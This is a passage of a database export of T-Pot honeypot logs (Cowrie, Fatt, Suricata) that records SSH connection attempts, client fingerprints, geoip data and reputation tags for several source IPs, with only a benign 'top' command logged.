"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 41318, "dest_port": 22, "timestamp": "2021-09-20T11:16:04.881238", "@timestamp": "2021-09-20T11:16:04.881Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28065	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:05.232812+03	2021-09-20 14:30:02.340523+03	{"_id": "LgbrAnwBvYTbRNuElCyb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.17.12", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5688216686248779, "duplicate": true, "timestamp": "2021-09-20T11:16:05.232812Z", "@timestamp": "2021-09-20T11:16:05.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28066	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:05.787853+03	2021-09-20 14:30:02.341524+03	{"_id": "MQbrAnwBvYTbRNuElCyc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:46900 (192.168.176.2:22) [session: ffcfecd89d42]", "session": "ffcfecd89d42", "@version": "1", "protocol": "ssh", "src_port": 46900, "dest_port": 22, "timestamp": "2021-09-20T11:16:05.787853Z", "@timestamp": "2021-09-20T11:16:05.787Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28068	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:16:06.249648+03	2021-09-20 14:30:02.344523+03	{"_id": "RQbrAnwBvYTbRNuElyy1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46900, "dest_port": 22, "timestamp": "2021-09-20T11:16:06.249648", "@timestamp": "2021-09-20T11:16:06.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28069	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:06.206734+03	2021-09-20 14:30:02.345524+03	{"_id": "SwbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.71.17.12", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.570875883102417, "duplicate": true, "timestamp": "2021-09-20T11:16:06.206734Z", "@timestamp": "2021-09-20T11:16:06.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28070	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:16:06.391352+03	2021-09-20 14:30:02.347523+03	{"_id": "SQbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2024beaab466", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:16:06.391352Z", "@timestamp": "2021-09-20T11:16:06.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28071	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:06.595673+03	2021-09-20 14:30:02.348525+03	{"_id": "SgbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:06.595673Z", "@timestamp": "2021-09-20T11:16:06.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28072	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:16:06.595124+03	2021-09-20 14:30:02.350523+03	{"_id": "RwbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:16:06.595124Z", "@timestamp": "2021-09-20T11:16:06.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28073	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:05.864712+03	2021-09-20 14:30:02.351524+03	{"_id": "WAbrAnwBvYTbRNuEmCyH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ffcfecd89d42", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:05.864712Z", "@timestamp": "2021-09-20T11:16:05.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28074	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:06.597473+03	2021-09-20 14:30:02.352524+03	{"_id": "WQbrAnwBvYTbRNuEmCyH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1c8de958179b", "@version": "1", "timestamp": "2021-09-20T11:16:06.597473Z", "@timestamp": "2021-09-20T11:16:06.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28075	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:16:06.462338+03	2021-09-20 14:30:02.354523+03	{"_id": "WwbrAnwBvYTbRNuEmixV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 127046969117576, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49334, "dest_port": 22, "timestamp": "2021-09-20T11:16:06.462338Z", "@timestamp": "2021-09-20T11:16:06.462Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28076	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:07.275138+03	2021-09-20 14:30:02.355524+03	{"_id": "XgbrAnwBvYTbRNuEmyye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40126, "dest_port": 22, "timestamp": "2021-09-20T11:16:07.275138", "@timestamp": "2021-09-20T11:16:07.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
